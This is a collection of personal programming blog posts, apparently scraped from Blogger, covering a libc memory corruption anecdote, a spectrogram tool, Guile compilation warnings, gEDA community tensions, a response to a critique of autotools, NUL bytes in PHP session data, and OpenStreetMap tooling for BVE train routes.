[2] It was almost ten years ago when gethostbyname(3) or some nearby interface seemed to stop working. Suddenly no programs could connect to anything on the Internet anymore. After a bit of bug-chasing I noticed that libc's contents had changed. I don't remember what led me to check that with rpm, but I did. I must have suspected cosmic rays, because I made a copy of libc before rebooting, in order to freeze the corrupted memory contents onto stable storage. Sure enough, after the reboot libc was fine (clearly having been reloaded from the uncorrupted copy on disk), and a diff of a hexdump showed some six bytes that differed, right inside gethostbyname(3). To this day I don't know how I might have forced the kernel to re-read what must have been a very frequently-accessed page.Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-20865677091685012222013-01-14T19:04:00.001+02:002013-01-14T19:04:50.631+02:00Waterfall spectrogramA few days ago while visiting my dad, he got a call from Leon, who was transmitting at 137kHz at the time, asking my dad to listen for the signal. We didn't hear anything convincing, but it got me thinking: with some DSP we could grope out the signal from under the noise floor.<br />
<br />
I quickly hacked up a pipeline on my laptop involving Pulseaudio's <code>parec</code>, my own FFT tool, and <code>gnuplot</code>. Sure enough, there seemed to be an (inaudible) audio signal at about 390Hz clearly visible in an approximately 10 second integration, giving a sub-Hz resolution. But I wasn't satisfied; I wanted to see the short-term spectra scrolling across the screen in real time. I ended up hacking into the night, but ultimately frustrated by some GTK+ weirdness. (One needs to set a file descriptor to non-blocking mode when calling <code>g_io_add_watch</code>.) I wasn't able to finish anything useful during my visit.<br />
<br />
Last night I achieved victory:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXYemDQSU7JSOnIt1GW4EanTt-YyYoZQfcq_kMR-jkXtb08FclYzq3WEpOIME2Lul3uC4h8ORopipw5WHFfohgS2efAOhZWBv8nxzFOZ1wRlO42aZqKCMnYPbgSYDa655867scc-_KfTRc/s1600/waterfall-diagram-tool.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXYemDQSU7JSOnIt1GW4EanTt-YyYoZQfcq_kMR-jkXtb08FclYzq3WEpOIME2Lul3uC4h8ORopipw5WHFfohgS2efAOhZWBv8nxzFOZ1wRlO42aZqKCMnYPbgSYDa655867scc-_KfTRc/s1600/waterfall-diagram-tool.gif" /></a></div>
<br />
This image is just a looped GIF showing two 1-second slices where I said something or my dog bumped the table. The vertical axis spans DC to 22kHz, which obscures much of the interesting stuff in the lower-frequency band where most of the information in speech lives. I'm not finished with this tool; it needs at least some zooming functionality, to adjust the range of frequencies shown, and to expand and contract the colour range I use to indicate spectral intensity. You can <a href="http://repo.or.cz/w/spectral-waterfall.git">grab a copy of the code from repo.or.cz</a> and help out, if you like.Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-80188582928793811932012-12-28T04:23:00.000+02:002012-12-28T04:23:58.409+02:00That damn halting problemI'm fixing my <a href="http://repo.or.cz/w/geda-gaf/berndj.git">gEDA fork</a> so that it will work with Guile 2.0. There are several good reasons for doing so, including moving with the times and hopefully cleaner valgrind output. There's an interesting new feature in this new major release of Guile: scheme source files get compiled automatically. (They get cached under <span style="font-family: 'Courier New', Courier, monospace;">$HOME/.cache/guile</span>, in case you're wondering.)<br />
<br />
All that cleverness presumably leads to faster-running code (at the cost of slower startup), but it also results in this output to <span style="font-family: 'Courier New', Courier, monospace;">stderr</span>:<br />
<br />
<br />
<blockquote class="program-output">
;;; compiling /usr/local/geda/share/gEDA/system-gafrc<br />
;;; /usr/local/geda/share/gEDA/system-gafrc:31:18: warning: possibly unbound variable `build-path'<br />
;;; /usr/local/geda/share/gEDA/system-gafrc:40:24: warning: possibly unbound variable `build-path'<br />
;;; /usr/local/geda/share/gEDA/system-gafrc:43:0: warning: possibly unbound variable `load-scheme-dir'<br />
;;; /usr/local/geda/share/gEDA/system-gafrc:48:19: warning: possibly unbound variable `build-path'<br />
;;; compiled /home/berndj/.cache/guile/ccache/2.0-LE-8-2.0/usr/local/geda/share/gEDA/system-gafrc.go<br />
;;; compiling /usr/local/geda/share/gEDA/scheme/geda.scm<br />
;;; compiled /home/berndj/.cache/guile/ccache/2.0-LE-8-2.0/usr/local/geda/share/gEDA/scheme/geda.scm.go</blockquote>
<br />
<span style="font-family: 'Courier New', Courier, monospace;">system-gafrc</span> loads <span style="font-family: 'Courier New', Courier, monospace;">geda.scm</span> with a call to <span style="font-family: 'Courier New', Courier, monospace;">(load-from-path "geda.scm")</span> that occurs before the first use of <span style="font-family: 'Courier New', Courier, monospace;">build-path</span> or <span style="font-family: 'Courier New', Courier, monospace;">load-scheme-dir</span>. Unfortunately, the compiler can't "see through" the call to <span style="font-family: 'Courier New', Courier, monospace;">load-from-path</span>, and hence can't see that <span style="font-family: 'Courier New', Courier, monospace;">geda.scm</span> provides the definitions of the functions <span style="font-family: 'Courier New', Courier, monospace;">system-gafrc</span> calls.<br />
<br />
The compiler can't see through these calls in the general case because to do so would be to solve the halting problem. Just imagine that just above the call to <span style="font-family: 'Courier New', Courier, monospace;">(load-from-path "geda.scm")</span> were a chunk of code that wrote a definition for <span style="font-family: 'Courier New', Courier, monospace;">build-path</span> if and only if it searched ℤ<sup>3</sup> and found a triple such that x<sup>3</sup> + y<sup>3</sup> = z<sup>3</sup>. We know now (thanks, Andrew Wiles) that this is impossible, so substitute a search based on any other as yet unproven conjecture, if you like. (This is a counter to the objection of the student (my younger self included) to the impossibility of solving the halting problem: "But I can show that these programs halt!")<br />
<br />
And that is why it isn't reasonable to expect guile's auto-compiler to know that <span style="font-family: 'Courier New', Courier, monospace;">build-path</span> and <span style="font-family: 'Courier New', Courier, monospace;">load-scheme-dir</span> are, in fact, defined before use. That's a separate matter from whether it should warn or not.Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com2tag:blogger.com,1999:blog-6286608955389951707.post-40595170630639011582012-11-01T05:37:00.000+02:002012-11-01T05:37:27.782+02:00Life in gEDA?<h4>
Vital signs weak, but detectable</h4>
A few days ago the geda-user mailing list suddenly remembered that development on gEDA/gaf had slowed to a near standstill. Some soul-searching ensued, and as usual John Doty castigated anyone daring to suggest that gschem's UI could stand a bit of improvement. If it ain't broke, don't fix it! In turn, as usual there were others to castigate him in turn for being unreasonable. Over the years that I've come to know his mailing list persona, I've long known that I disagree with him about the "micro" things: whether, and how, to use keyboard shortcuts, to integrate various tools more closely, and whether and how to add attributes that do special things. In my fork's case: to implement my solution to the "transistor problem", as well as to the related "package pin numbering problem" - both specific instances of the broader light-versus-heavy symbols problem.<br />
<h4>
My fork is found</h4>
<a href="http://www.delorie.com/archives/browse.cgi?p=geda-user/2012/10/28/15:54:49">And somebody noticed my fork!</a> I'm glad - both because I'm vain and want to be noticed, and because I hope it's a sign that the cliqueishness / insularity of a few years is giving way to a more outward-looking culture. Perhaps they have to: commits to the main repository <em>have</em> slowed to near standstill and KiCAD has all but eaten gEDA's lunch ever since CERN chose the former over the latter. Perhaps, like some people afflicted with depression, the patient has now suffered enough and decides to get better. We'll see.<br />
<h4>
The truth shall set you free (but first it will cause pain)</h4>
There's also what I find <a href="http://www.delorie.com/archives/browse.cgi?p=geda-user/2012/10/28/15:44:56">a more credible explanation for why Anthony Blake quit working on gEDA</a> than the notion that (presumably - see footnote [1]) KMK "drove him away". I stand by what I told Ales during an IRC conversation in #geda about the disintegrating developer community:<br />
<br />
<pre>2011-05-19 04:58:21 <berndj> i could also submit that when people quit, they may indicate "excuses" rather than "reasons" if, say, real-life circumstances were causing them to want to quit soon anyway
</pre>
<div>
</div>
<br />
If DJ has, as I suspect, the real reason here, then I think a few apologies are due to the victims of the toxic-people witch-hunt. If apologies are too personal for what may have been an emergent and collective phenomenon, an olive branch.<br />
<h4>
Return from self-imposed exile?</h4>
I don't know yet. I've long suspected that I may have been a supposed "toxic person" - it is my perhaps somewhat paranoid way to make sense of how comprehensively my non-trivial patches have failed to find <em>any</em> traction with any of the "gEDA developers" clique. I'm done with explaining, at length, the features that my patches implement, and why I think they are a good idea. Clearly they're forgettable, and not as self-evidently the superior solution to the problems they seek to address as other folks' favoured solutions. No matter. I'm fluent in C, and I can keep maintaining my fork so that I, at least, can have my abstract slots and, one day when I teach pcb to do the other half of the work, pin and gate swapping <a href="http://bpj-code.blogspot.com/2010/07/back-annotation-to-gschem.html">back-annotations</a>. Perhaps I'll just speak when spoken to, and not earlier.<br />
<br />
<hr />
[1] I'm piecing together the details from fragments, as Ales vaguely described the contents of the "I quit!" private emails he has received. Both KMK and JPD seemed to be the black sheep around the time the elders were discussing the breakdown of the community, but overall, I think the context of the IRC discussion hints that they attributed Anthony's departure to KMK's "abusiveness".Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-84434440857505602322012-08-21T20:10:00.001+02:002012-08-21T20:10:57.850+02:00My response to "A Generation Lost in the Bazaar"<a href="http://queue.acm.org/detail.cfm?id=2349257">Poul-Henning Kamp argues</a> that a whole generation of programmers is "lost" in the bazaar (strangely, although he refers to it, he seems to use different meanings of the words "bazaar" and "cathedral" than the ones used in ESR's <a href="http://www.catb.org/~esr/writings/cathedral-bazaar/cathedral-bazaar/">The Cathedral and the Bazaar</a> - PHK's "cathedral" seems to be an analogy for a designed program, rather than an analogy for a xenophobic elite) and wouldn't even recognize a cathedral if encountering one.<br />
<br />
I added a comment and then a few hours later it was gone! ACM was censoring me! Luckily Google had indexed the page after I had commented, but before my comment disappeared, and I was able to reconstruct nearly my whole comment by searching for words and phrases I know I had used, and copying the search results' excerpts where I recognized them. It was only a temporary blackout though; I checked again as I write this and noticed my comment was back. Here it is, with some elaboration. (Sentences I missed in italics. Pretty good reconstruction, eh?)<br />
<blockquote>
<i>Much of your rant seems predicated on the badness of the autotools.</i> While some of your criticisms are certainly valid (even though I might not necessarily agree what the response should be), you seem to be burning the sources of inelegant software in effigy, by attacking the autotools. The creators of the autotools are not the ones responsible for the problems which the autotools were designed to address!<br />
<br />
Secondly, some of your criticisms (here and in your autocrap rant) against the autotools are again misplaced: you seem to want to hold the autotools' creators responsible for the misuses to which others put them, sometimes due to innocent ignorance, other times due to an arrogant sense of superiority (poor translation: I want to convey the german word "besserwisserisch").<br />
<br />
As others have pointed out, I'm not surprised either that there are features in a large dependency graph that go into a black hole, like the TIFF support you mention. My curiosity is somewhat piqued to know how this irony resolves. <i>And specifically, is this a run-time dependency or a build-time dependency?</i><br />
<br />
But here's another irony: you don't recognize the deliberate architecture to which the autotools were built. <i>I wasn't around at the time to know if they were originally built cathedral-style (their development now seems very bazaar-like), and you might not appreciate the architectural style used, but boy, you'd better believe it, much of your interaction with them was *designed*.</i> In my experience most of the "friction" in interacting with the autotools is due to the very sort of meta-ignorance you write of: not even knowing what the tools' raison d'être are, or "disagreeing" with them (as if that is possible). I like to say: Those who do not understand the autotools are doomed to reinvent them, poorly. Please understand that I mean a philosophical understanding; I'm sure you know very well what AC_CHECK_LIBS does, for example. <i>And yes, I think I can agree with your criticism of keeping around 20-years-superseded feature checks.</i><br />
<br />
P.S. I know I'm conflating cathedral-as-designed-artifact with cathedral-as-home-of-a-priesthood.</blockquote>
Others argued, and I agree, that a bazaar is the only style that is capable of delivering the gamut of systems we use today. PHK's lament reads a bit like a town planner despairing that there are no cities that consist only of cathedrals, that there's just so much damn <em>chaos</em> in the streets, with people just building their houses where they please! But that's pining for an unworthy goal: centrally planned economies don't work - a universally planned city would result in suburbs that are convenient to administer, but are not what their residents desire. Likewise, in the software world, one could have a landscape of only cathedrals, but then the bazaars would be gone, and so would be the users who shop at the bazaars.<br />
<br />
I think it's important to consider the results of the evolutionary pressures acting on the software development industry. Clearly, the unruly bazaar strategies have largely displaced the cathedrals. In some instances we have even had direct invasions of individual members of the cathedral population: witness GCC's conversion to bazaar style with the 2.95 release. More recently, we had the XFree86 conversion to Xorg, another such conversion. I'm not aware of any conversions going the other way. This sort of conversion just doesn't happen consistently if there aren't strong ecological advantages to the bazaar strategy. And I suppose that's my objection to PHK's portrayal of our modern industry as a bunch of unruly wet-behind-the-ears kids who should get off his lawn, dammit, distilled into one word: <strong>ecology</strong>.Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com1tag:blogger.com,1999:blog-6286608955389951707.post-2179836657387886562012-07-09T05:13:00.001+02:002012-07-09T05:13:29.579+02:00Ambiguous output from mysql command-line clientYou'd think that a command-line tool would show you when something funny is going on. I was scratching my head for an hour, wondering why, when PHP loaded <code>$_SESSION</code> from my database, it seemed to ignore one of the object members. A private member in fact. Here's what I saw:<br />
<pre><code>
mysql> select * from sessions where data <> '';
+-----+----------------------------------------------------------------------------------------+-----------+
| id | data | last_used |
+-----+----------------------------------------------------------------------------------------+-----------+
| foo | user|O:4:"User":2:{s:11:" <b>User</b> email";s:18:"dev@bpj-code.co.za";s:8:"verified";b:1;} | NULL |
+-----+----------------------------------------------------------------------------------------+-----------+
</code>
</pre>
See those gaps around 'User'? Those aren't spaces! (And nor are they tabs.) <a href="http://php.net/manual/en/function.serialize.php">They are, in fact, NUL characters</a>:<br />
<br />
<blockquote>
Note:<br />
Object's private members have the class name prepended to the member name; protected members have a '*' prepended to the member name. These prepended values have null bytes on either side.</blockquote>
Why did this matter? Because I had made a change to the web pages that would need the serialized <code>User</code> object to have an <code>id</code> member, and it seemed easier to hand-hack the database's 3 entries in the sessions table than to write a ream of backwards-compatibility code that would conjure up the right <code>id</code> at the right time, when needed. "Easy!" I thought. "Not on your chinny-chin-chin," the computer replied:
<br />
<pre><code>
mysql> update sessions set data = 'user|O:4:"User":3:{s:11:" User email";s:18:"dev@bpj-code.co.za";s:8:"verified";b:1;s:2:"id";s:2:"16";}' where id = 'foo';
Query OK, 1 row affected (0.00 sec)
</code></pre>
<br />
Looks encouraging! Refresh page and check results:
<br />
<pre><code>
mysql> select * from sessions where data <> '';
+-----+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+
| id | data | last_used |
+-----+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+
| foo | user|O:4:"User":5:{s:11:" User email";N;s:8:"verified";b:1;s:11:" User email";s:18:"dev@bpj-code.co.za";s:2:"id";s:2:"16";s:11:"permissions";s:19:"9223372036854775807";} | 2012-07-09 03:22:41 |
+-----+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+
</code></pre>
<br />
Blast! What's going on here? Like I wrote above: those weren't NULs. Let's try again:
<br />
<pre><code>
mysql> update sessions set data = 'user|O:4:"User":3:{s:11:"\0User\0email";s:18:"dev@bpj-code.co.za";s:8:"verified";b:1;s:2:"id";s:2:"16";}' where id = 'foo';
Query OK, 1 row affected (0.00 sec)
</code></pre>
<br />
That change sticks! I guess it's too much to ask to have both tabular output <em>and</em> escaping of special characters?Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-2987144125868094092012-05-12T05:31:00.000+02:002012-06-10T07:48:15.882+02:00OpenStreetMap for BVE routesA.S. It looks like OpenBVE's Michelle has exited the stage in just the last few days. I doubt the whole back story is public yet, but let's say thanks and wish her well for whatever she's up to now. Still, this means that the OpenBVE community is in a bit of turmoil now. Who takes on the work now? I hope reason prevails and this "only serious developers need apply" / "we don't need outside interference" elitist attitude, expressed on the BVEStation forum, dies quickly. We really don't need another <a href="http://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar">cathedral vs bazaar</a> experiment now - the bazaar has clearly won. Now where is the OpenBVE git repository?<br />
<div>
<br /></div>
<div>
<h4>
<a href="http://www.bpj-code.co.za/bve-route-print.html">A tool for making non-fictional BVE routes</a></h4>
</div>
<div>
I would like to be able to drive the local suburban train, a Metrorail 5M2A, from Cape Town station to Simons Town. Especially the latter half of the route would be <a href="http://www.railpictures.net/viewphoto.php?id=356612">picturesque</a>.</div>
<div>
<br /></div>
<div>
It's painstaking work to write up a BVE route by hand. A route is organized in fixed-length blocks, typically 25m, and "things happen" at the boundaries between these blocks: curve radius changes, cant changes, station starts and stops. Directly measuring curve radii and adding those to the route will result in a route that has roughly the correct shape, but it will be difficult to get the route to line up exactly with the modelled territory. Here's an example of this divergence you get without feedback:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnYb-sB3ZHlpYGnbBl2QcP01NTQwnYKYVeUrcJ9orc1WdOA03WrewDEb5KuMQlVylh5f3wpyg8MWDz_t8Kgzq_Q-igxom0m8ykbHP3xJvlwagThdZVdOqaUprxepPowPk8xQMQ7W3m21sX/s1600/cpt-route-divergence.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnYb-sB3ZHlpYGnbBl2QcP01NTQwnYKYVeUrcJ9orc1WdOA03WrewDEb5KuMQlVylh5f3wpyg8MWDz_t8Kgzq_Q-igxom0m8ykbHP3xJvlwagThdZVdOqaUprxepPowPk8xQMQ7W3m21sX/s320/cpt-route-divergence.png" width="320" /></a></div>
<div>
<br /></div>
<div>
That's a part of Cape Town - the so-called "City Bowl". The route that veers off westwards is one I originally wrote by eye-stimating distances and curve radii from satellite imagery retrieved from a certain very popular online mapping service. You can see that the route has roughly the right shape, but relatively small errors in distances and curve radius make it diverge from where it should be.</div>
<div>
<br /></div>
<div>
To get the route exactly coincident on the modelled territory, I decided to compare the route map with OpenStreetMap data. The OSM data of my city is well tagged, so it was easy to teach PHP to pick out railway=rail "way"s and draw them on a PDF. Just because it was easy, and seemed like it would be pretty, I also made it draw other ways in the lightest grey that is still visible.</div>
<div>
<br /></div>
<div>
<h4>
Future directions?</h4>
</div>
<div>
It's still painful to have to fiddle the curve radii, segment by segment, until the route exactly coincides with the background map. It should be possible to use the extant way data to generate a whole run of track, interrupted only by the random breaks in data from the OSM contributors. Perhaps I should make a command-line tool that generates a route "skeleton", by accepting a list of way IDs and gluing them together with some curve-fitting trigonometry.</div>
<div>
<br /></div>
<div>
As an extension of such way-gluing, it could be useful (if not perfect) to transform road ways into asphalt road surface objects, perhaps some generic kerbs and road markings as decorations. OSM data is probably too sparse to be able to infer a whole lot of building objects, but even just a few scattered ones might already make the route a lot more fun to drive.</div>
<div>
<br /></div>
<div>
Apparently the XML export format is deprecated, and there is a "better" format, a binary one. I didn't feel like reading up on the binary format, and just wanted something that worked <em>now</em>. The benefits of using the binary format include being able to export larger areas and future-proofing (for when XML goes away).</div>
<div>
<br /></div>
<div>
<h4>
Copyright</h4>
</div>
<div>
You should carefully consider whether using OSM data as a template against which to align your route makes your route a derivative work of the OSM data. On the one hand, tracing a map seems like the sort of thing that passes the "derivative work" test, and on the other, <strong>facts</strong> aren't necessarily copyrightable. I don't know which side is more persuasive to me, so for my own routes I will assume that my route <em>is</em> a derived work, and release them under a license compatible with that of OpenStreetMap data. You could do that too if you don't want to think too hard about it.<br />
<div>
<br /></div>
<div>
P.S. Until there's an "official" project repository, you could do worse than cloning Debian's Alioth repository:</div>
<div>
<code>git clone git://anonscm.debian.org/pkg-cli-apps/packages/openbve.git</code></div>
</div>Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com3